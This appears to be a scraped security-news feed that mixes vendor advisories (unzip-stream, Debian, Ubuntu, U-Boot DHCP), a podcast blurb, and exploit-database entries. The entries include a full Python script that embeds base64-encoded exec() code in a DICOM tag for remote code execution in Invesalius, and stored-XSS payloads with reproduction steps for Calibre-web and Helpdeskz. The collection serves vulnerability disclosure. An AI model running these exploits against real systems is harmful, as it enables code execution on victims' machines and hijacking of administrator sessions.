### Impact

When using the `Extract()` method of unzip-stream, malicious zip files were able to write to paths they shouldn't be allowed to.

### Patches

Fixed in 0.3.2

### References

- https://snyk.io/research/zip-slip-vulnerability
- https://github.com/mhr3/unzip-stream/compare/v0.3.1...v0.3.2

### Credits

Justin Taft from Google

**unzip-stream allows Arbitrary File Write via artifact extraction**

High severity GitHub Reviewed Published Aug 25, 2024 in mhr3/unzip-stream • Updated Aug 26, 2024

GHSA-6jrj-vc65-c983: unzip-stream allows Arbitrary File Write via artifact extraction

Debian Linux Security Advisory 5758-1 - Several vulnerabilities were discovered in Apache Traffic Server, a reverse and forward proxy server, which could result in denial of service or request smuggling.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5758-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffAugust 26, 2024                       https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : trafficserverCVE ID         : CVE-2023-38522 CVE-2024-35161 CVE-2024-35296Several vulnerabilities were discovered in Apache Traffic Server,a reverse and forward proxy server, which could result in denialof service or request smuggling.For the stable distribution (bookworm), these problems have been fixed inversion 9.2.5+ds-0+deb12u1.We recommend that you upgrade your trafficserver packages.For the detailed security status of trafficserver please refer toits security tracker page at:https://security-tracker.debian.org/tracker/trafficserverFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmbMKBEACgkQEMKTtsN8TjZOnw/+JNcO3mLjDjMwWUBfg7w/jCN8tIKJjAGs1bPzJ+QTOs4yy+47wWtAeJ5cQ3PrzETcXLNxFKAI+ii+Tq9DetvvgJYzm2Qxm9xeNJuhjMnUs226Om8VawTH8yL4ijKuZZlEBCAoUTi5+ROQ6H+TDQ3KJIt/xiQp9JuDYPGBbNsyoEl+eOdmVRZTroBoheMsrvCMLneLV5kmr1IpIJfJgXvnuR57idyHAry9GOJ0xaMRdohE6oYqWuG+DeF31fr10jbSgX9M+tUtw1t7sFtoHjXlf3ez8fTOQ/aa+4idHtPd4GBkfDCKb+BnoazguuG9esu8RmfZisOFYQX4O3Bgi8KSM0Ir5Mv9sOkvy95Iqd1dJ2kjHFlvgbzzbATFaSMlj/lUwG2ALq2hoZ4IfuwLKr0hTguHtKTcralE7w+8+pbzMPzULXUw8vPIFGHqVKS0S6XzXHuFchyhfKJFXuUD4uAjijVPzCAMyvlIH98hBfRSbzOP1dwRrHN7YVk4fmkf6yjQ5hB/ecXFCQkXJUXOJNwm41sMpZUkdywFh1iFnV6Hl3We3JD0wdjURReY4ZzGR2PkgWQN56UvkzF4xq8VmtBZ3lTSHH6kmmlgpmBFgtdWhnvl/3Jp4dfO3uh52Lt5vf01Ae4jkT+93uaMtDlr8YBEr2JHLEWCA3ZRC4ux3mnGRN8==Q6vb-----END PGP SIGNATURE-----

Debian Security Advisory 5758-1

Das U-Boot suffers from a buffer overread vulnerability. An attacker with access to the local network and faster response times than the default DHCP server can trigger a memory leak by responding with malicious DHCP offers to a vulnerable U-Boot DHCP client.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

Title  
=====

SCHUTZWERK-SA-2024-004: Buffer overread in U-Boot DHCP

Status  
======

PUBLISHED

Version  
=======

1.0

CVE reference  
=============

CVE-2024-42040

Link  
====

https://www.schutzwerk.com/advisories/schutzwerk-sa-2024-004/

Text-only version:  
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2024-004.txt

Affected products/vendor  
========================

Das U-Boot, https://docs.u-boot.org

Summary  
=======

Das U-Boot (U-Boot) is a widespread open-source boot loader used in   
embedded devices to perform various low-level hardware initialization   
tasks and boot the device's operating system kernel. During an embedded   
security assessment, we identified a buffer overread vulnerability   
(CWE-126) in the DHCP implementation of U-Boot that could leak memory   
onto the network. The amount of leaked data depends on the later use of   
the hostname, DNS-server IP, gateway IP, or other DHCP options in   
unencrypted network traffic. The vulnerability has been present since   
the "Initial revision" commit (3861aa5) from 2002.

Risk  
====

An attacker with access to the local network and faster response times   
than the default DHCP server can trigger a memory leak by responding   
with malicious DHCP offers to a vulnerable U-Boot DHCP client. In the   
current implementation, only 4 Bytes of data can be leaked via gateway   
or DNS server address. When net_hostname would be used and also sent   
over the network, 32 Bytes could be retrieved. When the bp_vend field is   
filled with zeroes besides the magic number, it could also lead the loop   
to continue outside the packet to process data. This can cause further   
data to be leaked when values like 0x1,0x3,0x6, and 0x12 are present in   
that data. When further vulnerabilities can be found they might be   
combined to achieve further harmful impact to the system.

Description  
===========

After U-Boot sends an initial DHCP request, the vulnerable bootp_handler   
gets registered as a callback for incoming packets. The handler first   
checks if the received packet is the expected reply packet. If   
VENDOR_MAGIC is in the first four bytes of bp->bp_vend, the address of   
bp->bp_vend[4] and the total length of the packet is passed to   
bootp_process_vendor (net/bootp.c:381) without being reduced to   
len-(offsetof(struct bootp_hdr,bp_vend)+4). There is also a missing   
check whether the first four bytes of bp->pb_vend[] are in range of the   
packet length before retrieving them to compare with htonl(VENDOR_MAGIC).

In bootp_process_vendor, an incorrect end address is then calculated   
based on the full packet length (net/bootp.c:312) instead of the rest of   
the bp_vend buffer size. Then, the function increases the ext pointer   
until it no longer points to zero bytes within the too-long buffer range   
or when one byte is 0xff. When a none-zero value is discovered the ext   
pointer is passed to bootp_process_vendor_field.

In bootp_process_vendor_field, the de-referenced value of the passed   
pointer is used to select the case for processing the field, and its   
length is de-referenced from ext+1. Based on the selected case, values   
are then copied to variables and buffers like net_gateway.s_addr or   
net_hostname from ext+2. The copied lengths are only limited by the size   
of their destination. The end of the bp_vend structure or the end of the   
packet is never checked in bootp_process_vendor_field.

This allows an attacker, who can respond to DHCP requests, to craft a   
packet that causes the code to copy the contents of the target's RAM   
directly following the received packet into parameters. These parameters   
are sent via the network during later use, leaking the RAM content to   
the attacker.

Solution/Mitigation  
===================

We recommend providing an adequate length to bootp_process_vendor to   
prevent the while loop from stepping outside the packet frame and   
checking in bootp_process_vendor_field if the copied data is still   
within the packet structure's range.

Disclosure timeline  
===================

2024-06-21: Vulnerability discovered  
2024-08-19: Vulnerability reported to public mailing list by request of   
maintainer.

Contact/Credits  
===============

The vulnerability was discovered during an assessment by Simon Diepold   
of SCHUTZWERK GmbH.

References  
==========

Disclaimer  
==========

The information provided in this security advisory is provided "as is" and  
without warranty of any kind. Details of this security advisory may be   
updated  
in order to provide as accurate information as possible. The most recent  
version of this security advisory can be found at SCHUTZWERK GmbH's website  
( https://www.schutzwerk.com ).

SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/

SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/  
-----BEGIN PGP SIGNATURE-----

iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmbC+YgaHGFkdmlzb3Jp  
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrtSeRAAi6OrwHBpbFgKlyqROQnw  
zYxmHTYBiWzBEEmI1zN+iNb5uQlnZXgBoodbEneiRmVQDSiT4zT/DWe3EGV2TlRR  
56hEIGvkvleURqCjwRYeYnPF3Ef/XMTvTu/x08h8UfGr7XNwhwCpANxUTE7aI01b  
jZLa4jDv8vpNd7JKNF32S2Ak6GRjfEE9aEAxUKliNXCA5SU1gYvOWQ+BJ0oth7fN  
grkTKffltk8dUBFy8TsrxcAG5ye4f1Dvm51dU8JNPBLkmouOrEvX1K4UTjvAyD8e  
bCn2dXs2rDLfywrTPV0k2zj3APZiwhYxNA3MaTUGscZAIUMn3WE/cUyYDpQDqOYx  
wrZzz9K59m+x8F6c1lBUxlmU3t9Z15/i/tL6Kropb+HDxjWaLCZPG3dzdlR54/fn  
gvzS393FNWakNNAJIqN2jvvol+zvJGn2rsSsfp5CPEdrQEHgvQa0TkBOpdtFZ/h1  
muVFwj9yDup07yStTXRJHjg2WCH0LdL5x+mDfcBspjLflpVP/0Yj+MnR8e3Eb7v/  
Cb12PeBHww9VObUhgbMecanSn6Epf7Nc5a5wIh5kEWKoviBYNY/0cu7GDN+70PK4  
JhD86Tww5RFJJfkLcJqlCAMC4AkAc7Sq5FS7WTK5Jx3Ymh/+Lsuhx9ENq38VyVGh  
tFe3V0joTUxg7Yy78PoEOrs=  
=XKZo  
-----END PGP SIGNATURE-----

--   
SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany  
Zertifiziert / Certified ISO 27001, 9001 and TISAX

Phone +49 731 977 191 0

advisories@schutzwerk.com / www.schutzwerk.com

Geschäftsführer / Managing Directors:  
Jakob Pietzka, Michael Schäfer

Amtsgericht Ulm /  HRB 727391  
Datenschutz / Data Protection www.schutzwerk.com/datenschutz

Das U-Boot Buffer Overread

Invesalius versions 3.1.99991 through 3.1.99998 suffer from a remote code execution vulnerability. The exploitation steps of this vulnerability involve the use of a specifically crafted DICOM file which, once imported inside the victim's client application, allows an attacker to gain remote code execution.

    # Exploit Title: Invesalius 3.1 - Remote Code Execution (RCE)# Discovered By: Riccardo Degli Esposti (partywave), Alessio Romano (sfoffo)# Exploit Author: Riccardo Degli Esposti (partywave), Alessio Romano (sfoffo)# Vendor Homepage: https://invesalius.github.io/# Software Link: https://github.com/invesalius/invesalius3/tree/master/invesalius# Version: 3.1.99991 to 3.1.99998# Tested on: Windows# CVE-ID: CVE-2024-42845# External references: https://www.partywave.site/show/research/Tic%20TAC%20-%20Beware%20of%20your%20scan, https://notes.sfoffo.com/contributions/2024-contributions/cve-2024-42845#### exploit to create the malicious DICOM file###import pydicomimport base64import argparsepydicom.config.settings.reading_validation_mode = pydicom.config.IGNOREdef encode_payload(plain_payload):    data = open(plain_payload, 'rb').read()    return f"exec(__import__('base64').b64decode({base64.b64encode(data)})"def prepare_dicom_payload(dicom_file_path, sign, payload):    try:        dicom_data = pydicom.dcmread(dicom_file_path)        if sign:            dicom_data.Manufacturer = "Malicious DICOM file creator"            dicom_data.InstitutionName = "Malicious DICOM file institution"        values = dicom_data[0x0020, 0x0032].value        mal = [str(i) for i in values]        mal.append(encode_payload(payload))            except pydicom.errors.InvalidDicomError:        print("The file is not a valid DICOM file.")    except Exception as e:        print(f"An error occurred: {e}")        return maldef modify_dicom_field(dicom_file_path, malicious_tag, outfile):    try:        dicom_dataset = pydicom.dcmread(dicom_file_path)        elem =  pydicom.dataelem.DataElement(0x00200032, 'CS', malicious_tag)        dicom_dataset[0x00200032] = elem        print(dicom_dataset)        dicom_dataset.save_as(outfile)    except Exception as e:        print(f"An error occurred: {e}")if __name__ == "__main__":    parser = argparse.ArgumentParser(description='Read a DICOM file.')    parser.add_argument('--dicom', required=True, help='Path to the input DICOM file')    parser.add_argument('--outfile', required=True, help='Path to the output DICOM file')    parser.add_argument('--payload', required=False, default=b"print('Test')", help='File that contains the malicious plain python3 code')    parser.add_argument('--signature', required=False, default=True)        args = parser.parse_args()    dicom_infile_path = args.dicom    dicom_outfile_path = args.outfile        tmp_tag = prepare_dicom_payload(dicom_infile_path, sign=args.signature, payload=args.payload)    if tmp_tag:        malicious_tag = '\\'.join(tmp_tag)        modify_dicom_field(dicom_infile_path, malicious_tag, dicom_outfile_path)        exit(0)    else:        exit(1)

Invesalius 3.1 Remote Code Execution

Faraday is a tool that introduces a new concept called IPE, or Integrated Penetration-Test Environment. It is a multiuser penetration test IDE designed for distribution, indexation and analysis of the generated data during the process of a security audit. The main purpose of Faraday is to re-use the available tools in the community to take advantage of them in a multiuser way.

Faraday 5.6.0

This week on the Lock and Code podcast, we speak with Nitya Sharma about why AI is a far bigger concern than malware in staying safe.

_This week on the Lock and Code podcast…_

Every age group uses the internet a little bit differently, and it turns out for at least one Gen Z teen in the Bay Area, the classic approach to cyberecurity—defending against viruses, ransomware, worms, and more—is the least of her concerns. Of far more importance is Artificial Intelligence (AI).

Today, the Lock and Code podcast with host David Ruiz revisits a prior episode from 2023 about what teenagers fear the most about going online. The conversation is a strong reminder that when America’s youngest generations experience online is far from the same experience that Millennials, Gen X’ers, and Baby Boomers had with their own introduction to the internet.

Even stronger proof of this is found in recent research that Malwarebytes debuted this summer about how people in committed relationships share their locations, passwords, and devices with one another. As detailed in the larger report, “What’s mine is yours: How couples share an all-access pass to their digital lives,” Gen Z respondents were the most likely to say that they got a feeling of safety when sharing their locations with significant others.

But a wrinkle appeared in that behavior, according to the same research: Gen Z was also the most likely to say that they only shared their locations because their partners forced them to do so.

In our full conversation from last year, we speak with Nitya Sharma about how her “favorite app” to use with friends is “Find My” on iPhone, the dangers are of AI “sneak attacks,” and why she simply cannot be bothered about malware. 

> “I know that there’s a threat of sharing information with bad people and then abusing it, but I just don’t know what you would do with it. Show up to my house and try to kill me?” 

Tune in today to listen to the full conversation.

You can also find us on Apple Podcasts, Spotify, and Google Podcasts, plus whatever preferred podcast platform you use.

_Show notes and credits:_

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)  
Licensed under Creative Commons: By Attribution 4.0 License  
http://creativecommons.org/licenses/by/4.0/  
Outro Music: “Good God” by Wowa (unminus.com)

**Listen up—Malwarebytes doesn’t just talk cybersecurity, we provide it.**

Protect yourself from online attacks that threaten your identity, your files, your system, and your financial well-being with our exclusive offer for Malwarebytes Premium for Lock and Code listeners.

 Move over malware: Why one teen is more worried about AI (re-air) (Lock and Code S05E18) 

Calibre Web version 0.6.21 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Stored XSS in Calibre-web# Date: 07/05/2024# Exploit Authors: Pentest-Tools.com (Catalin Iovita & Alexandru Postolache)# Vendor Homepage: (https://github.com/janeczku/calibre-web/)# Version: 0.6.21 - Romesa# Tested on: Linux 5.15.0-107, Python 3.10.12, lxml  4.9.4# CVE: CVE-2024-39123## Vulnerability DescriptionCalibre-web 0.6.21 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user's session.## Steps to Reproduce1. Log in to the application.2. Upload a new book.3. Access the Books List functionality from the `/table?data=list&sort_param=stored` endpoint.4. In the `Comments` field, input the following payload:    <a href=javas%1Bcript:alert()>Hello there!</a>4. Save the changes.5. Upon clicking the description on the book that was created, in the Book Details, the payload was successfully injected in the Description field. By clicking on the message, an alert box will appear, indicating the execution of the injected script.

Calibre Web 0.6.21 Cross Site Scripting

Ubuntu Security Notice 6974-2 - Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system.

    ==========================================================================Ubuntu Security Notice USN-6974-2August 23, 2024linux-oracle-5.15 vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 20.04 LTSSummary:Several security issues were fixed in the Linux kernel.Software Description:- linux-oracle-5.15: Linux kernel for Oracle Cloud systemsDetails:Several security issues were discovered in the Linux kernel.An attacker could possibly use these to compromise the system.This update corrects flaws in the following subsystems:   - SuperH RISC architecture;   - User-Mode Linux (UML);   - MMC subsystem;   - Network drivers;   - GFS2 file system;   - IPv4 networking;   - IPv6 networking;(CVE-2024-26921, CVE-2023-52629, CVE-2024-26680, CVE-2024-26830,CVE-2024-39484, CVE-2024-39292, CVE-2024-36901, CVE-2023-52760)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 20.04 LTS   linux-image-5.15.0-1066-oracle  5.15.0-1066.72~20.04.1   linux-image-oracle              5.15.0.1066.72~20.04.1After a standard system update you need to reboot your computer to makeall the necessary changes.ATTENTION: Due to an unavoidable ABI change the kernel updates havebeen given a new version number, which requires you to recompile andreinstall all third party kernel modules you might have installed.Unless you manually uninstalled the standard kernel metapackages(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,linux-powerpc), a standard system upgrade will automatically performthis as well.References:   https://ubuntu.com/security/notices/USN-6974-2   https://ubuntu.com/security/notices/USN-6974-1   CVE-2023-52629, CVE-2023-52760, CVE-2024-26680, CVE-2024-26830,   CVE-2024-26921, CVE-2024-36901, CVE-2024-39292, CVE-2024-39484Package Information:  https://launchpad.net/ubuntu/+source/linux-oracle-5.15/5.15.0-1066.72~20.04.1

Ubuntu Security Notice USN-6974-2

Helpdeskz version 2.0.2 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Stored XSS Vulnerability via File Name# Google Dork: N/A# Date: 08 Aug 2024# Exploit Author: Md. Sadikul Islam# Vendor Homepage: https://www.helpdeskz.com/# Software Link:https://github.com/helpdesk-z/helpdeskz-dev/archive/2.0.2.zip# Version: v2.0.2# Tested on: Kali Linux /  Firefox 115.1.0esr (64-bit)# CVE : N/APayload: "><img src=x onerror=alert(1);>Filename can be Payload: "><img src=x onerror=alert(1);>.jpgVIdeo PoC:https://drive.google.com/file/d/1_yh0UsX8h7YcSU1kFvg_bBwk9T7kx1K1/view?usp=drive_linkSteps to Reproduce:    1. Log in as a regular user and create a new ticket.    2. Fill out all the required fields with the necessary information.    3. Attach an image file with a malicious payload embedded in thefilename.    4. Submit the ticket.    5. Access the ticket from the administration panel to trigger thepayload execution.Cross-Site Scripting (XSS) exploits can compromise the administrationpanel, directly affecting administrators by allowing malicious scripts toexecute within their privileged environment.

Helpdeskz 2.0.2 Cross Site Scripting

Debian Linux Security Advisory 5757-1 - Security issues were discovered in Chromium which could result in the execution of arbitrary code, denial of service, or information disclosure.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5757-1                   security@debian.org  
https://www.debian.org/security/                           Andres Salomon  
August 23, 2024                       https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : chromium  
CVE ID         : CVE-2024-7964 CVE-2024-7965 CVE-2024-7966 CVE-2024-7967   
                 CVE-2024-7968 CVE-2024-7969 CVE-2024-7971 CVE-2024-7972   
                 CVE-2024-7973 CVE-2024-7974 CVE-2024-7975 CVE-2024-7976   
                 CVE-2024-7977 CVE-2024-7978 CVE-2024-7979 CVE-2024-7980   
                 CVE-2024-7981 CVE-2024-8033 CVE-2024-8034 CVE-2024-8035

Security issues were discovered in Chromium which could result  
in the execution of arbitrary code, denial of service, or information  
disclosure.

For the stable distribution (bookworm), these problems have been fixed in  
version 128.0.6613.84-1~deb12u1.

We recommend that you upgrade your chromium packages.

For the detailed security status of chromium please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/chromium

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEUAUk+X1YiTIjs19qZF0CR8NudjcFAmbIuBAACgkQZF0CR8Nu  
djc/0g//UhxIQpVHW7jkkJ9g81aIFC2xHygVHU3ZaMVQwm2lLnB1pbav4ziLLl34  
tGJpepJMZaUANSCqhWjA5X77R5utHbcgn8J47cUWXup0Dc8R9UXPis/wpcRQjYKB  
f2Znh/44SLW4KEHo7EkVSPlGvBEgN8k0Z4TFEPzDP5FH5xzCgm3f8XR2H0EDeNDW  
MHpB5oNdu8CrQ0/Xbq2ha2qZOaB/dQrzDJL5S2xopSSUOqN4QWJ22YNwhTR+0gSj  
7k/huogVHe3h7UgghaIIydQpuzLMqUkxDDOIpTbmRFVl3YjDm/rNU3chRuA6Hk3a  
I3fpjYJ5nFPm7N6s2LYauLX79+NA6WJsGgyVPB/MxzUu3Wa4trzMq3YGCF+hNMgk  
KGVOGv6el3w/50r7Ujfu2yBKfuZDxwT07Yeb98GAMsNTysClU0pagxVowX61w1+m  
kvfrHvgJW0p+4hpOJGvfVVWN0ZMr9A/psBzwdfhB7ccCShuzlYb3AfTCXqj0q5rp  
0jOaK5WLwXXXbFVG+cSJSYsb9iGRj9O4utzf0gwa0TD7A83gaubSv8iDzvkkAA1E  
RMwSyninkTXNFMZpV3U+mCpkt6dpw/8X93WizAEr2VENvTaB+VnIXcfi883WrRvy  
r9Ydd9kMqFRYHEHBmaIDYZfdQ3Y6ud6CJIrbsxejOqNlaEaM+CQ=  
=I/NM  
-----END PGP SIGNATURE-----

Latest News